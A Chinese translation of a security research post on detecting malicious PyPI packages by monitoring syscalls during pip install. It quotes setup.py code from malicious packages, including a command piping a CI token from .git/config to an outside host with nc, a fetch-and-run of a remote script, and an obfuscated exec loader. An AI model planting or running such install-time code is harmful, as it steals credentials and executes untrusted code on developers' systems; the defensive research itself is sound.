首頁>技術>

大約一年前,Python軟體基金會(Python Software Foundation)發了一個需求諮詢帖子(RFI,https://discuss.python.org/t/what-methods-should-we-implement-to-detect-malicious-content/2240),主要問題是來討論我們如何檢測上傳到PyPI的惡意第三方軟體包。無論是被接管了廢棄的軟體包,對流行的庫進行Typosquatting攻擊釣魚劫持,還是對第三方庫進行撞庫攻擊,很明顯,這都是一個值得思考的問題,幾乎影響到每個開發者。使用pip install安裝軟體包時,大多數人不清楚自己所需的python模組在哪個軟體包中,有時候甚至是模糊搜尋安裝,這就給惡意利用的人提供了機會。

事實上,像PyPI這樣的軟體包管理器是幾乎每個公司都依賴的關鍵基礎架構。針對這個問題的嚴重性我們可以在這個主題上談上幾天幾夜,不過看了下面的這張圖你就明白了。

我想對此做進一步的探討,因此在本文中,我將逐步介紹如何安裝和分析PyPI中的軟體包並尋找惡意攻擊活動。

如何查詢惡意包

為了在安裝過程中執行任意命令,作者通常將程式碼新增到其程式包中的setup.py檔案中。您可以在此github儲存庫(https://github.com/rsc-dev/pypi_malware/tree/master/malware)中看到一些示例。

總的來說,您可以用以下兩種方式來查詢潛在的惡意依賴包:檢視程式碼中的不良內容(靜態分析),或者可以安裝它們以檢視會發生什麼情況(動態分析)。

雖然靜態分析非常有趣(我曾在Node.js 的包管理工具npm上手動使用grep命令搜尋到了惡意軟體包,``https://duo.com/decipher/hunting-malicious-npm-packages`),但在這篇文章中,我將重點介紹動態分析。畢竟我認為它會有效果,因為你正在檢視實際發生的事情,而不是僅僅尋找未來可能發生的事。

那我們到底在尋找什麼呢?

如何把握重點

通常,任何重要操作發生都是由核心完成的,普通程式(如pip)透過核心執行重要操作是透過使用syscall來完成的。使用syscall可以完成開啟檔案、建立網路連線和執行命令的所有操作!

您可以從Julia Evans的漫畫中瞭解syscall的更多內容:

這意味著,如果我們可以在安裝Python軟體包期間監視系統呼叫(syscalls),就可以檢視是否發生了任何可疑事件。

監測系統呼叫(syscalls)這個方法並不是我想到的。自2017年以來,亞當·鮑德溫(Adam Baldwin)等人就一直在談論這一問題。佐治亞理工學院的研究人員發表了一篇出色的論文(https://arxiv.org/pdf/2002.01139.pdf),採用了同樣的方法。老實說,大多數部落格文章只是試圖重現他們的想法。

現在,我們想監測系統呼叫(syscalls),那麼到底該怎麼做呢?

使用Sysdig監測Syscall

有許多旨在讓您監測系統呼叫的工具,對於本專案,我使用sysdig,因為它既提供結構化輸出,又提供了一些非常好的過濾功能。

為了使該工作正常進行,在啟動安裝該軟體包的Docker容器時,我還啟動了一個sysdig程序,該程序僅監測該容器中的事件。我也過濾掉了要從pypi.org或files.pythonhosted.com進行的網路讀取/寫入,因為我不想被與軟體包下載相關的事件寫滿日誌。

透過捕獲系統呼叫的方法,我不得不解決另一個問題:如何獲取所有PyPI軟體包的列表。

獲取Python包

對我們來說幸運的是,PyPI擁有一個稱為Simple API(https://www.python.org/dev/peps/pep-0503/)的API,可以將其視為“一個非常大的HTML頁面,其中包含指向每個包的連結”。它簡單,乾淨而且比我可能會寫的任何HTML都要好。

我們可以抓取此頁面並使用pup解析所有連結,從而為我們提供約268,000個軟體包:

> curl https://pypi.org/simple/ | pup'a text {}'> pypi_full.txt > wc -l pypi_full.txt  268038 pypi_full.txt

對於本實驗,我只關心每個軟體包的最新版本。較舊的版本中可能埋藏著惡意版本的軟體包,但AWS不會自己買單(笑)。

我最終實現了一個看起來像這樣的管道:

簡而言之,我們將每個軟體包名稱傳送到一組EC2例項(我希望將來使用AWS Fargate無伺服器化容器解決方案或其他東西,但我現在也不知道Fargate怎麼用,所以……),該程式會從PyPI中獲取有關軟體包的一些元資料,然後在一系列容器pip install安裝軟體包同時啟動sysdig,以監測syscall和網路流量。然後,所有資料都被運送到S3以供未來使用。

這個過程如下所示:

結果

過程一旦完成,我將在一個S3儲存庫中獲取幾TB的資料,覆蓋大約245,000個軟體包。儘管有的軟體包沒有釋出版本,有的軟體包具有各種bug,但是這似乎也是一個很好的樣本。

現在開始有趣的部分:分析!(其實是一系列枯燥的grep操作)

我合併了元資料和輸出,提供了一系列如下所示的JSON檔案:

{    "metadata": {},    "output": {        "dns": [],         // Any DNS requests made        "files": [],       // All file access operations        "connections": [], // TCP connections established        "commands": [],    // Any commands executed    }}

然後,我編寫了一系列指令碼來開始彙總資料,以試圖區別是良性程式包和惡意程式包。讓我們深入研究一些結果。

網路請求

在安裝過程中,軟體包需要建立網路連線的原因有很多。他們可能需要下載合法的二進位制元件或其他資源,它們可能是一種分析形式,或者可能正試圖從系統中竊取資料或憑證。

結果發現,有460個軟體包將網路連線到109個特定主機。就像上面論文提到的一樣,其中很多是程式包共享建立網路連線依賴關係的結果。可以透過對映依賴關係將其過濾掉,但是我在這裡還沒有做過。

這裡(https://gist.github.com/jordan-wright/c8b273372368ee639dec46b08a93bce1)是安裝過程中看到的DNS請求明細。

執行命令

像網路連線一樣,在安裝過程中,軟體包有合理的理由執行系統命令。可以是編譯二進位制檔案,或者設定正確的執行環境等。

檢視我們的樣本,發現60,725個軟體包在安裝過程中正在執行命令。就像網路連線一樣,其中許多是依賴項(執行命令的程式包)的結果。

一些有趣的第三方包

深入研究結果後,發現大多數網路連線和命令似乎都是合乎常理預期的。但是,我想舉幾個奇怪的例子作為案例研究,以說明這種型別的分析多有用。

i-am-malicious

一個名為i-am-malicious的軟體包似乎是惡意軟體包的證明。以下是一些有趣的細節,使我們認為該程式包值得研究(如果名稱不夠的話......):

{  "dns": [{          "name": "gist.githubusercontent.com",          "addresses": [            "199.232.64.133"          ]    }]  ],  "files": [    ...    {      "filename": "/tmp/malicious.py",      "flag": "O_RDONLY|O_CLOEXEC"    },    ...    {      "filename": "/tmp/malicious-was-here",      "flag": "O_TRUNC|O_CREAT|O_WRONLY|O_CLOEXEC"    },    ...  ],  "commands": [    "python /tmp/malicious.py"  ]}

我們看到與gist.github.com的連線,正在執行一個Python檔案,並在此處建立了一個名為/ tmp / malicious-was-here的檔案。當然,這就是setup.py中發生的事情:

from urllib.request import urlopen handler = urlopen("https://gist.githubusercontent.com/moser/49e6c40421a9c16a114bed73c51d899d/raw/fcdff7e08f5234a726865bb3e02a3cc473cecda7/malicious.py")with open("/tmp/malicious.py", "wb") as fp:    fp.write(handler.read()) import subprocess subprocess.call(["python", "/tmp/malicious.py"])

malicious.py程式只是向/ tmp / malicious-was-here添加了““I was here”型別的訊息,表明這確實是一個證明。

maliciouspackage

另一個自稱為"惡意程式包"的maliciouspackage更邪惡。這是相關的輸出:

{  "dns": [{      "name": "laforge.xyz",      "addresses": [        "34.82.112.63"      ]  }],  "files": [    {      "filename": "/app/.git/config",      "flag": "O_RDONLY"    },  ],  "commands": [    "sh -c apt install -y socat",    "sh -c grep ci-token /app/.git/config | nc laforge.xyz 5566",    "grep ci-token /app/.git/config",    "nc laforge.xyz 5566"  ]}

和之前一樣,我們的輸出使我們對發生的事情有了一個不錯的瞭解。在這種情況下,程式包似乎從.git / config檔案中提取令牌並將其上傳到laforge.xyz。瀏覽setup.py,我們發現確實是這樣:

...import osos.system('apt install -y socat')os.system('grep ci-token /app/.git/config | nc laforge.xyz 5566')

easyIoCtl

easyIoCtl是一個有趣的軟體包。它聲稱可以“擺脫無聊的IO操作”,但我們看到以下命令正在執行:

[  "sh -c touch /tmp/testing123",  "touch /tmp/testing123"]

可疑,但可能不是有意為之。但是這是一個完美的示例,顯示了監測系統呼叫的功能。這是專案的setup.py中的相關程式碼:

class MyInstall():    def run(self):        control_flow_guard_controls = 'l0nE@`eBYNQ)Wg+-,ka}fM(=2v4AVp![dR/\\ZDF9s\x0c~PO%yc X3UK:.w\x0bL$Ijq<&\r6*?\'1>mSz_^C\to#hiJtG5xb8|;\n7T{uH]"r'        control_flow_guard_mappers = [81, 71, 29, 78, 99, 83, 48, 78, 40, 90, 78, 40, 54, 40, 46, 40, 83, 6, 71, 22, 68, 83, 78, 95, 47, 80, 48, 34, 83, 71, 29, 34, 83, 6, 40, 83, 81, 2, 13, 69, 24, 50, 68, 11]        control_flow_guard_init = ""        for controL_flow_code in control_flow_guard_mappers:            control_flow_guard_init = control_flow_guard_init + control_flow_guard_controls[controL_flow_code]        exec(control_flow_guard_init) 

此程式碼片段混淆不清,很難說出是怎麼回事,傳統的靜態分析可能會抓住對exec的呼叫,但僅此而已。

要檢視其作用,我們可以用列印替換exec,結果是:

import os;os.system('touch /tmp/testing123')

這正是我們記錄的命令,表明即使程式碼混淆也不會影響我們的結果,因為我們正在對系統呼叫進行監視。

當我們發現惡意軟體包時會發生什麼?

之後,我們可以使用BigQuery上的PyPI公開資料集,檢視該包的下載次數。

這是一個示例查詢,用於查詢在過去30天內安裝了maliciouspackage的次數:

#standardSQLSELECT COUNT(*) AS num_downloadsFROM `the-psf.pypi.file_downloads`WHERE file.project = 'maliciouspackage'  -- Only query the last 30 days of history  AND DATE(timestamp)    BETWEEN DATE_SUB(CURRENT_DATE(), INTERVAL 30 DAY)    AND CURRENT_DATE()

執行此查詢命令,結果表明它已被下載400次以上。

未來展望

第一步只是初步瞭解了整個PyPI的概況。檢視資料,我發現沒有任何程式包進行了嚴重有害的活動,而且名稱中的某處也沒有“惡意”。這很好!(其實並非如此,如果你在 2017-05-24 到 2017-05-31 這段時間內執行過 pip install smb或者 pip download smb, 那麼你的個人資訊可能已經洩露)但是我總是有可能錯過某些事情,或者將來會發生。如果您有興趣挖掘資料,可以在這裡(https://drive.google.com/file/d/1ukZK5-JEQrmo_t15aq_4z-jlkjNqbec8/view?usp=sharing)找到。

展望未來,我正在設定一個Lambda函式,以使用PyPI的RSS feed功能獲取最新的軟體包更新。每個更新的程式包都將經過相同的處理,如果檢測到可疑活動,則會發送警報。

我仍然不喜歡僅透過pip install命令就可以讓程式在使用者系統上執行任意操作。我知道大多數程式包都是善意的,但它帶來了風險。希望越來越多地監測各種第三方程式包管理器,並識別出惡意活動的跡象。

這不是PyPI獨有的。之後,我希望對RubyGems,npm和其他程式包管理庫進行相同的分析,就像我之前提到的研究人員一樣。同時,您可以在此處(https://github.com/jordan-wright/ossmalware)找到用於執行實驗的所有程式碼。

17
  • BSA-TRITC(10mg/ml) TRITC-BSA 牛血清白蛋白改性標記羅丹明
  • windows terminal 美化